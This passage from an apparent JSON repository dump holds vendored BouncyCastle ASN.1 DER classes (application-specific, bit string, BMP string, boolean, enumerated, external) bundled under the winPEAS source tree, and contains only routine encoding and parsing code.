    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerApplicationSpecific.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t* Base class for an application specific object\n\t*/\n\tpublic class DerApplicationSpecific\n\t\t: Asn1Object\n\t{\n\t\tprivate readonly bool isConstructed;\n\t\tprivate readonly int tag;\n\t\tprivate readonly byte[] octets;\n\n\t\tinternal DerApplicationSpecific(\n\t\t\tbool isConstructed,\n\t\t\tint tag,\n\t\t\tbyte[] octets)\n\t\t{\n\t\t\tthis.isConstructed = isConstructed;\n\t\t\tthis.tag = tag;\n\t\t\tthis.octets = octets;\n\t\t}\n\n\t\tpublic DerApplicationSpecific(\n\t\t\tint tag,\n\t\t\tbyte[] octets)\n\t\t\t: this(false, tag, octets)\n\t\t{\n\t\t}\n\n\t\tpublic DerApplicationSpecific(\n\t\t\tint tag,\n\t\t\tAsn1Encodable obj)\n\t\t\t: this(true, tag, obj)\n\t\t{\n\t\t}\n\n\t\tpublic DerApplicationSpecific(\n\t\t\tbool isExplicit,\n\t\t\tint tag,\n\t\t\tAsn1Encodable obj)\n\t\t{\n\t\t\tAsn1Object asn1Obj = obj.ToAsn1Object();\n\n\t\t\tbyte[] data = asn1Obj.GetDerEncoded();\n\n\t\t\tthis.isConstructed = Asn1TaggedObject.IsConstructed(isExplicit, asn1Obj);\n\t\t\tthis.tag = tag;\n\n\t\t\tif (isExplicit)\n\t\t\t{\n\t\t\t\tthis.octets = data;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint lenBytes = GetLengthOfHeader(data);\n\t\t\t\tbyte[] tmp = new byte[data.Length - lenBytes];\n\t\t\t\tArray.Copy(data, lenBytes, tmp, 0, tmp.Length);\n\t\t\t\tthis.octets = tmp;\n\t\t\t}\n\t\t}\n\n\t\tpublic DerApplicationSpecific(\n\t\t\tint tagNo,\n\t\t\tAsn1EncodableVector vec)\n\t\t{\n\t\t\tthis.tag = tagNo;\n\t\t\tthis.isConstructed = true;\n\t\t\tMemoryStream bOut = new MemoryStream();\n\n\t\t\tfor (int i = 0; i != vec.Count; i++)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tbyte[] bs = vec[i].GetDerEncoded();\n\t\t\t\t\tbOut.Write(bs, 0, bs.Length);\n\t\t\t\t}\n\t\t\t\tcatch (IOException e)\n\t\t\t\t{\n\t\t\t\t\tthrow new InvalidOperationException(\"malformed object\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis.octets = bOut.ToArray();\n\t\t}\n\n\t\tprivate int GetLengthOfHeader(\n\t\t\tbyte[] data)\n\t\t{\n\t\t\tint length = data[1]; // TODO: assumes 1 byte tag\n\n\t\t\tif (length == 0x80)\n\t\t\t{\n\t\t\t\treturn 2;      // indefinite-length encoding\n\t\t\t}\n\n\t\t\tif (length > 127)\n\t\t\t{\n\t\t\t\tint size = length & 0x7f;\n\n\t\t\t\t// Note: The invalid long form \"0xff\" (see X.690 8.1.3.5c) will be caught here\n\t\t\t\tif (size > 4)\n\t\t\t\t{\n\t\t\t\t\tthrow new InvalidOperationException(\"DER length more than 4 bytes: \" + size);\n\t\t\t\t}\n\n\t\t\t\treturn size + 2;\n\t\t\t}\n\n\t\t\treturn 2;\n\t\t}\n\n\t\tpublic bool IsConstructed()\n\t\t{\n\t\t\treturn isConstructed;\n\t\t}\n\n\t\tpublic byte[] GetContents()\n\t\t{\n\t\t\treturn octets;\n\t\t}\n\n\t\tpublic int ApplicationTag\n\t\t{\n\t\t\tget { return tag; }\n\t\t}\n\n\t\t/**\n\t\t * Return the enclosed object assuming explicit tagging.\n\t\t *\n\t\t * @return  the resulting object\n\t\t * @throws IOException if reconstruction fails.\n\t\t */\n\t\tpublic Asn1Object GetObject()\n\t\t{\n\t\t\treturn FromByteArray(GetContents());\n\t\t}\n\n\t\t/**\n\t\t * Return the enclosed object assuming implicit tagging.\n\t\t *\n\t\t * @param derTagNo the type tag that should be applied to the object's contents.\n\t\t * @return  the resulting object\n\t\t * @throws IOException if reconstruction fails.\n\t\t */\n\t\tpublic Asn1Object GetObject(\n\t\t\tint derTagNo)\n\t\t{\n\t\t\tif (derTagNo >= 0x1f)\n\t\t\t\tthrow new IOException(\"unsupported tag number\");\n\n\t\t\tbyte[] orig = this.GetEncoded();\n\t\t\tbyte[] tmp = ReplaceTagNumber(derTagNo, orig);\n\n\t\t\tif ((orig[0] & Asn1Tags.Constructed) != 0)\n\t\t\t{\n\t\t\t\ttmp[0] |= Asn1Tags.Constructed;\n\t\t\t}\n\n\t\t\treturn FromByteArray(tmp);\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tint classBits = Asn1Tags.Application;\n\t\t\tif (isConstructed)\n\t\t\t{\n\t\t\t\tclassBits |= Asn1Tags.Constructed;\n\t\t\t}\n\n\t\t\tderOut.WriteEncoded(classBits, tag, octets);\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tDerApplicationSpecific other = asn1Object as DerApplicationSpecific;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn this.isConstructed == other.isConstructed\n\t\t\t\t&& this.tag == other.tag\n\t\t\t\t&& Arrays.AreEqual(this.octets, other.octets);\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\treturn isConstructed.GetHashCode() ^ tag.GetHashCode() ^ Arrays.GetHashCode(octets);\n\t\t}\n\n\t\tprivate byte[] ReplaceTagNumber(\n\t\t\tint newTag,\n\t\t\tbyte[] input)\n\t\t{\n\t\t\tint tagNo = input[0] & 0x1f;\n\t\t\tint index = 1;\n\n\t\t\t// with tagged object tag number is bottom 5 bits, or stored at the start of the content\n\t\t\tif (tagNo == 0x1f)\n\t\t\t{\n\t\t\t\tint b = input[index++];\n\n\t\t\t\t// X.690-0207 8.1.2.4.2\n\t\t\t\t// \"c) bits 7 to 1 of the first subsequent octet shall not all be zero.\"\n\t\t\t\tif ((b & 0x7f) == 0) // Note: -1 will pass\n\t\t\t\t\tthrow new IOException(\"corrupted stream - invalid high tag number found\");\n\n\t\t\t\twhile ((b & 0x80) != 0)\n\t\t\t\t{\n\t\t\t\t\tb = input[index++];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tint remaining = input.Length - index;\n\t\t\tbyte[] tmp = new byte[1 + remaining];\n\t\t\ttmp[0] = (byte)newTag;\n\t\t\tArray.Copy(input, index, tmp, 1, remaining);\n\t\t\treturn tmp;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBitString.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.math;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerBitString\n     : DerStringBase\n    {\n        private static readonly char[] table\n            = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };\n\n        protected readonly byte[] mData;\n        protected readonly int mPadBits;\n\n        /**\n\t\t * return a Bit string from the passed in object\n\t\t *\n\t\t * @exception ArgumentException if the object cannot be converted.\n\t\t */\n        public static DerBitString GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerBitString)\n            {\n                return (DerBitString)obj;\n            }\n            if (obj is byte[])\n            {\n                try\n                {\n                    return (DerBitString)FromByteArray((byte[])obj);\n                }\n                catch (Exception e)\n                {\n                    throw new ArgumentException(\"encoding error in GetInstance: \" + e.ToString());\n                }\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n\t\t * return a Bit string from a tagged object.\n\t\t *\n\t\t * @param obj the tagged object holding the object we want\n\t\t * @param explicitly true if the object is meant to be explicitly\n\t\t *              tagged false otherwise.\n\t\t * @exception ArgumentException if the tagged object cannot\n\t\t *               be converted.\n\t\t */\n        public static DerBitString GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerBitString)\n            {\n                return GetInstance(o);\n            }\n\n            return FromAsn1Octets(((Asn1OctetString)o).GetOctets());\n        }\n\n        /**\n\t\t * @param data the octets making up the bit string.\n\t\t * @param padBits the number of extra bits at the end of the string.\n\t\t */\n        public DerBitString(\n            byte[] data,\n            int padBits)\n        {\n            if (data == null)\n                throw new ArgumentNullException(\"data\");\n            if (padBits < 0 || padBits > 7)\n                throw new ArgumentException(\"must be in the range 0 to 7\", \"padBits\");\n            if (data.Length == 0 && padBits != 0)\n                throw new ArgumentException(\"if 'data' is empty, 'padBits' must be 0\");\n\n            this.mData = Arrays.Clone(data);\n            this.mPadBits = padBits;\n        }\n\n        public DerBitString(\n            byte[] data)\n            : this(data, 0)\n        {\n        }\n\n        public DerBitString(\n            int namedBits)\n        {\n            if (namedBits == 0)\n            {\n                this.mData = new byte[0];\n                this.mPadBits = 0;\n                return;\n            }\n\n            int bits = BigInteger.BitLen(namedBits);\n            int bytes = (bits + 7) / 8;\n\n            Debug.Assert(0 < bytes && bytes <= 4);\n\n            byte[] data = new byte[bytes];\n            --bytes;\n\n            for (int i = 0; i < bytes; i++)\n            {\n                data[i] = (byte)namedBits;\n                namedBits >>= 8;\n            }\n\n            Debug.Assert((namedBits & 0xFF) != 0);\n\n            data[bytes] = (byte)namedBits;\n\n            int padBits = 0;\n            while ((namedBits & (1 << padBits)) == 0)\n            {\n                ++padBits;\n            }\n\n            Debug.Assert(padBits < 8);\n\n            this.mData = data;\n            this.mPadBits = padBits;\n        }\n\n        public DerBitString(\n            Asn1Encodable obj)\n            : this(obj.GetDerEncoded())\n        {\n        }\n\n        /**\n         * Return the octets contained in this BIT STRING, checking that this BIT STRING really\n         * does represent an octet aligned string. Only use this method when the standard you are\n         * following dictates that the BIT STRING will be octet aligned.\n         *\n         * @return a copy of the octet aligned data.\n         */\n        public virtual byte[] GetOctets()\n        {\n            if (mPadBits != 0)\n                throw new InvalidOperationException(\"attempt to get non-octet aligned data from BIT STRING\");\n\n            return Arrays.Clone(mData);\n        }\n\n        public virtual byte[] GetBytes()\n        {\n            byte[] data = Arrays.Clone(mData);\n\n            // DER requires pad bits be zero\n            if (mPadBits > 0)\n            {\n                data[data.Length - 1] &= (byte)(0xFF << mPadBits);\n            }\n\n            return data;\n        }\n\n        public virtual int PadBits\n        {\n            get { return mPadBits; }\n        }\n\n        /**\n\t\t * @return the value of the bit string as an int (truncating if necessary)\n\t\t */\n        public virtual int IntValue\n        {\n            get\n            {\n                int value = 0, length = System.Math.Min(4, mData.Length);\n                for (int i = 0; i < length; ++i)\n                {\n                    value |= (int)mData[i] << (8 * i);\n                }\n                if (mPadBits > 0 && length == mData.Length)\n                {\n                    int mask = (1 << mPadBits) - 1;\n                    value &= ~(mask << (8 * (length - 1)));\n                }\n                return value;\n            }\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            if (mPadBits > 0)\n            {\n                int last = mData[mData.Length - 1];\n                int mask = (1 << mPadBits) - 1;\n                int unusedBits = last & mask;\n\n                if (unusedBits != 0)\n                {\n                    byte[] contents = Arrays.Prepend(mData, (byte)mPadBits);\n\n                    /*\n                     * X.690-0207 11.2.1: Each unused bit in the final octet of the encoding of a bit string value shall be set to zero.\n                     */\n                    contents[contents.Length - 1] = (byte)(last ^ unusedBits);\n\n                    derOut.WriteEncoded(Asn1Tags.BitString, contents);\n                    return;\n                }\n            }\n\n            derOut.WriteEncoded(Asn1Tags.BitString, (byte)mPadBits, mData);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return mPadBits.GetHashCode() ^ Arrays.GetHashCode(mData);\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerBitString other = asn1Object as DerBitString;\n\n            if (other == null)\n                return false;\n\n            return this.mPadBits == other.mPadBits\n                && Arrays.AreEqual(this.mData, other.mData);\n        }\n\n        public override string GetString()\n        {\n            StringBuilder buffer = new StringBuilder(\"#\");\n\n            byte[] str = GetDerEncoded();\n\n            for (int i = 0; i != str.Length; i++)\n            {\n                uint ubyte = str[i];\n                buffer.Append(table[(ubyte >> 4) & 0xf]);\n                buffer.Append(table[str[i] & 0xf]);\n            }\n\n            return buffer.ToString();\n        }\n\n        internal static DerBitString FromAsn1Octets(byte[] octets)\n        {\n            if (octets.Length < 1)\n                throw new ArgumentException(\"truncated BIT STRING detected\", \"octets\");\n\n            int padBits = octets[0];\n            byte[] data = Arrays.CopyOfRange(octets, 1, octets.Length);\n\n            if (padBits > 0 && padBits < 8 && data.Length > 0)\n            {\n                int last = data[data.Length - 1];\n                int mask = (1 << padBits) - 1;\n\n                if ((last & mask) != 0)\n                {\n                    return new BerBitString(data, padBits);\n                }\n            }\n\n            return new DerBitString(data, padBits);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBmpString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n    * Der BMPString object.\n    */\n    public class DerBmpString\n        : DerStringBase\n    {\n        private readonly string str;\n\n        /**\n         * return a BMP string from the given object.\n         *\n         * @param obj the object we want converted.\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerBmpString GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerBmpString)\n            {\n                return (DerBmpString)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return a BMP string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *              be converted.\n         */\n        public static DerBmpString GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerBmpString)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerBmpString(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        /**\n         * basic constructor - byte encoded string.\n         */\n        [Obsolete(\"Will become internal\")]\n        public DerBmpString(byte[] str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            int byteLen = str.Length;\n            if (0 != (byteLen & 1))\n                throw new ArgumentException(\"malformed BMPString encoding encountered\", \"str\");\n\n            int charLen = byteLen / 2;\n            char[] cs = new char[charLen];\n\n            for (int i = 0; i != charLen; i++)\n            {\n                cs[i] = (char)((str[2 * i] << 8) | (str[2 * i + 1] & 0xff));\n            }\n\n            this.str = new string(cs);\n        }\n\n        internal DerBmpString(char[] str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = new string(str);\n        }\n\n        /**\n         * basic constructor\n         */\n        public DerBmpString(string str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            return str;\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerBmpString other = asn1Object as DerBmpString;\n\n            if (other == null)\n                return false;\n\n            return this.str.Equals(other.str);\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            char[] c = str.ToCharArray();\n            byte[] b = new byte[c.Length * 2];\n\n            for (int i = 0; i != c.Length; i++)\n            {\n                b[2 * i] = (byte)(c[i] >> 8);\n                b[2 * i + 1] = (byte)c[i];\n            }\n\n            derOut.WriteEncoded(Asn1Tags.BmpString, b);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerBoolean.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerBoolean\n        : Asn1Object\n    {\n        private readonly byte value;\n\n        public static readonly DerBoolean False = new DerBoolean(false);\n        public static readonly DerBoolean True = new DerBoolean(true);\n\n        /**\n         * return a bool from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerBoolean GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerBoolean)\n            {\n                return (DerBoolean)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return a DerBoolean from the passed in bool.\n         */\n        public static DerBoolean GetInstance(\n            bool value)\n        {\n            return value ? True : False;\n        }\n\n        /**\n         * return a Boolean from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerBoolean GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerBoolean)\n            {\n                return GetInstance(o);\n            }\n\n            return FromOctetString(((Asn1OctetString)o).GetOctets());\n        }\n\n        public DerBoolean(\n            byte[] val)\n        {\n            if (val.Length != 1)\n                throw new ArgumentException(\"byte value should have 1 byte in it\", \"val\");\n\n            // TODO Are there any constraints on the possible byte values?\n            this.value = val[0];\n        }\n\n        private DerBoolean(\n            bool value)\n        {\n            this.value = value ? (byte)0xff : (byte)0;\n        }\n\n        public bool IsTrue\n        {\n            get { return value != 0; }\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            // TODO Should we make sure the byte value is one of '0' or '0xff' here?\n            derOut.WriteEncoded(Asn1Tags.Boolean, new byte[] { value });\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerBoolean other = asn1Object as DerBoolean;\n\n            if (other == null)\n                return false;\n\n            return IsTrue == other.IsTrue;\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return IsTrue.GetHashCode();\n        }\n\n        public override string ToString()\n        {\n            return IsTrue ? \"TRUE\" : \"FALSE\";\n        }\n\n        internal static DerBoolean FromOctetString(byte[] value)\n        {\n            if (value.Length != 1)\n            {\n                throw new ArgumentException(\"BOOLEAN value should have 1 byte in it\", \"value\");\n            }\n\n            byte b = value[0];\n\n            return b == 0 ? False : b == 0xFF ? True : new DerBoolean(value);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerEnumerated.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.math;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerEnumerated\n       : Asn1Object\n    {\n        private readonly byte[] bytes;\n        private readonly int start;\n\n        /**\n         * return an integer from the passed in object\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerEnumerated GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerEnumerated)\n            {\n                return (DerEnumerated)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return an Enumerated from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerEnumerated GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerEnumerated)\n            {\n                return GetInstance(o);\n            }\n\n            return FromOctetString(((Asn1OctetString)o).GetOctets());\n        }\n\n        public DerEnumerated(int val)\n        {\n            if (val < 0)\n                throw new ArgumentException(\"enumerated must be non-negative\", \"val\");\n\n            this.bytes = BigInteger.ValueOf(val).ToByteArray();\n            this.start = 0;\n        }\n\n        public DerEnumerated(long val)\n        {\n            if (val < 0L)\n                throw new ArgumentException(\"enumerated must be non-negative\", \"val\");\n\n            this.bytes = BigInteger.ValueOf(val).ToByteArray();\n            this.start = 0;\n        }\n\n        public DerEnumerated(BigInteger val)\n        {\n            if (val.SignValue < 0)\n                throw new ArgumentException(\"enumerated must be non-negative\", \"val\");\n\n            this.bytes = val.ToByteArray();\n            this.start = 0;\n        }\n\n        public DerEnumerated(byte[] bytes)\n        {\n            if (DerInteger.IsMalformed(bytes))\n                throw new ArgumentException(\"malformed enumerated\", \"bytes\");\n            if (0 != (bytes[0] & 0x80))\n                throw new ArgumentException(\"enumerated must be non-negative\", \"bytes\");\n\n            this.bytes = Arrays.Clone(bytes);\n            this.start = DerInteger.SignBytesToSkip(bytes);\n        }\n\n        public BigInteger Value\n        {\n            get { return new BigInteger(bytes); }\n        }\n\n        public bool HasValue(BigInteger x)\n        {\n            return null != x\n                // Fast check to avoid allocation\n                && DerInteger.IntValue(bytes, start, DerInteger.SignExtSigned) == x.IntValue\n                && Value.Equals(x);\n        }\n\n        public int IntValueExact\n        {\n            get\n            {\n                int count = bytes.Length - start;\n                if (count > 4)\n                    throw new ArithmeticException(\"ASN.1 Enumerated out of int range\");\n\n                return DerInteger.IntValue(bytes, start, DerInteger.SignExtSigned);\n            }\n        }\n\n        internal override void Encode(DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.Enumerated, bytes);\n        }\n\n        protected override bool Asn1Equals(Asn1Object asn1Object)\n        {\n            DerEnumerated other = asn1Object as DerEnumerated;\n            if (other == null)\n                return false;\n\n            return Arrays.AreEqual(this.bytes, other.bytes);\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return Arrays.GetHashCode(bytes);\n        }\n\n        private static readonly DerEnumerated[] cache = new DerEnumerated[12];\n\n        internal static DerEnumerated FromOctetString(byte[] enc)\n        {\n            if (enc.Length > 1)\n                return new DerEnumerated(enc);\n            if (enc.Length == 0)\n                throw new ArgumentException(\"ENUMERATED has zero length\", \"enc\");\n\n            int value = enc[0];\n            if (value >= cache.Length)\n                return new DerEnumerated(enc);\n\n            DerEnumerated possibleMatch = cache[value];\n            if (possibleMatch == null)\n            {\n                cache[value] = possibleMatch = new DerEnumerated(enc);\n            }\n            return possibleMatch;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerExternal.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n* Class representing the DER-type External\n*/\n\tpublic class DerExternal\n\t\t: Asn1Object\n\t{\n\t\tprivate DerObjectIdentifier directReference;\n\t\tprivate DerInteger indirectReference;\n\t\tprivate Asn1Object dataValueDescriptor;\n\t\tprivate int encoding;\n\t\tprivate Asn1Object externalContent;\n\n\t\tpublic DerExternal(\n\t\t\tAsn1EncodableVector vector)\n\t\t{\n\t\t\tint offset = 0;\n\t\t\tAsn1Object enc = GetObjFromVector(vector, offset);\n\t\t\tif (enc is DerObjectIdentifier)\n\t\t\t{\n\t\t\t\tdirectReference = (DerObjectIdentifier)enc;\n\t\t\t\toffset++;\n\t\t\t\tenc = GetObjFromVector(vector, offset);\n\t\t\t}\n\t\t\tif (enc is DerInteger)\n\t\t\t{\n\t\t\t\tindirectReference = (DerInteger)enc;\n\t\t\t\toffset++;\n\t\t\t\tenc = GetObjFromVector(vector, offset);\n\t\t\t}\n\t\t\tif (!(enc is Asn1TaggedObject))\n\t\t\t{\n\t\t\t\tdataValueDescriptor = enc;\n\t\t\t\toffset++;\n\t\t\t\tenc = GetObjFromVector(vector, offset);\n\t\t\t}\n\n\t\t\tif (vector.Count != offset + 1)\n\t\t\t\tthrow new ArgumentException(\"input vector too large\", \"vector\");\n\n\t\t\tif (!(enc is Asn1TaggedObject))\n\t\t\t\tthrow new ArgumentException(\"No tagged object found in vector. Structure doesn't seem to be of type External\", \"vector\");\n\n\t\t\tAsn1TaggedObject obj = (Asn1TaggedObject)enc;\n\n\t\t\t// Use property accessor to include check on value\n\t\t\tEncoding = obj.TagNo;\n\n\t\t\tif (encoding < 0 || encoding > 2)\n\t\t\t\tthrow new InvalidOperationException(\"invalid encoding value\");\n\n\t\t\texternalContent = obj.GetObject();\n\t\t}\n\n\t\t/**\n\t\t* Creates a new instance of DerExternal\n\t\t* See X.690 for more informations about the meaning of these parameters\n\t\t* @param directReference The direct reference or <code>null</code> if not set.\n\t\t* @param indirectReference The indirect reference or <code>null</code> if not set.\n\t\t* @param dataValueDescriptor The data value descriptor or <code>null</code> if not set.\n\t\t* @param externalData The external data in its encoded form.\n\t\t*/\n\t\tpublic DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, DerTaggedObject externalData)\n\t\t\t: this(directReference, indirectReference, dataValueDescriptor, externalData.TagNo, externalData.ToAsn1Object())\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* Creates a new instance of DerExternal.\n\t\t* See X.690 for more informations about the meaning of these parameters\n\t\t* @param directReference The direct reference or <code>null</code> if not set.\n\t\t* @param indirectReference The indirect reference or <code>null</code> if not set.\n\t\t* @param dataValueDescriptor The data value descriptor or <code>null</code> if not set.\n\t\t* @param encoding The encoding to be used for the external data\n\t\t* @param externalData The external data\n\t\t*/\n\t\tpublic DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, int encoding, Asn1Object externalData)\n\t\t{\n\t\t\tDirectReference = directReference;\n\t\t\tIndirectReference = indirectReference;\n\t\t\tDataValueDescriptor = dataValueDescriptor;\n\t\t\tEncoding = encoding;\n\t\t\tExternalContent = externalData.ToAsn1Object();\n\t\t}\n\n\t\tinternal override void Encode(DerOutputStream derOut)\n\t\t{\n\t\t\tMemoryStream ms = new MemoryStream();\n\t\t\tWriteEncodable(ms, directReference);\n\t\t\tWriteEncodable(ms, indirectReference);\n\t\t\tWriteEncodable(ms, dataValueDescriptor);\n\t\t\tWriteEncodable(ms, new DerTaggedObject(Asn1Tags.External, externalContent));\n\n\t\t\tderOut.WriteEncoded(Asn1Tags.Constructed, Asn1Tags.External, ms.ToArray());\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\tint ret = externalContent.GetHashCode();\n\t\t\tif (directReference != null)\n\t\t\t{\n\t\t\t\tret ^= directReference.GetHashCode();\n\t\t\t}\n\t\t\tif (indirectReference != null)\n\t\t\t{\n\t\t\t\tret ^= indirectReference.GetHashCode();\n\t\t\t}\n\t\t\tif (dataValueDescriptor != null)\n\t\t\t{\n\t\t\t\tret ^= dataValueDescriptor.GetHashCode();\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tif (this == asn1Object)\n\t\t\t\treturn true;\n\n\t\t\tDerExternal other = asn1Object as DerExternal;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn Platform.Equals(directReference, other.directReference)\n\t\t\t\t&& Platform.Equals(indirectReference, other.indirectReference)\n\t\t\t\t&& Platform.Equals(dataValueDescriptor, other.dataValueDescriptor)\n\t\t\t\t&& externalContent.Equals(other.externalContent);\n\t\t}\n\n\t\tpublic Asn1Object DataValueDescriptor\n\t\t{\n\t\t\tget { return dataValueDescriptor; }\n\t\t\tset { this.dataValueDescriptor = value; }\n\t\t}\n\n\t\tpublic DerObjectIdentifier DirectReference\n\t\t{\n\t\t\tget { return directReference; }\n\t\t\tset { this.directReference = value; }\n\t\t}\n\n\t\t/**\n\t\t* The encoding of the content. Valid values are\n\t\t* <ul>\n\t\t* <li><code>0</code> single-ASN1-type</li>\n\t\t* <li><code>1</code> OCTET STRING</li>\n\t\t* <li><code>2</code> BIT STRING</li>\n\t\t* </ul>\n\t\t*/\n\t\tpublic int Encoding\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\treturn encoding;\n\t\t\t}\n\t\t\tset\n\t\t\t{\n\t\t\t\tif (encoding < 0 || encoding > 2)\n\t\t\t\t\tthrow new InvalidOperationException(\"invalid encoding value: \" + encoding);\n\n\t\t\t\tthis.encoding = value;\n\t\t\t}\n\t\t}\n\n\t\tpublic Asn1Object ExternalContent\n\t\t{\n\t\t\tget { return externalContent; }\n\t\t\tset { this.externalContent = value; }\n\t\t}\n\n\t\tpublic DerInteger IndirectReference\n\t\t{\n\t\t\tget { return indirectReference; }\n\t\t\tset { this.indirectReference = value; }\n\t\t}\n\n\t\tprivate static Asn1Object GetObjFromVector(Asn1EncodableVector v, int index)\n\t\t{\n\t\t\tif (v.Count <= index)\n\t\t\t\tthrow new ArgumentException(\"too few objects in input vector\", \"v\");\n\n\t\t\treturn v[index].ToAsn1Object();\n\t\t}\n\n\t\tprivate static void WriteEncodable(MemoryStream ms, Asn1Encodable e)\n\t\t{\n\t\t\tif (e != null)\n\t\t\t{\n\t\t\t\tbyte[] bs = e.GetDerEncoded();\n\t\t\t\tms.Write(bs, 0, bs.Length);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerExternalParser.cs",
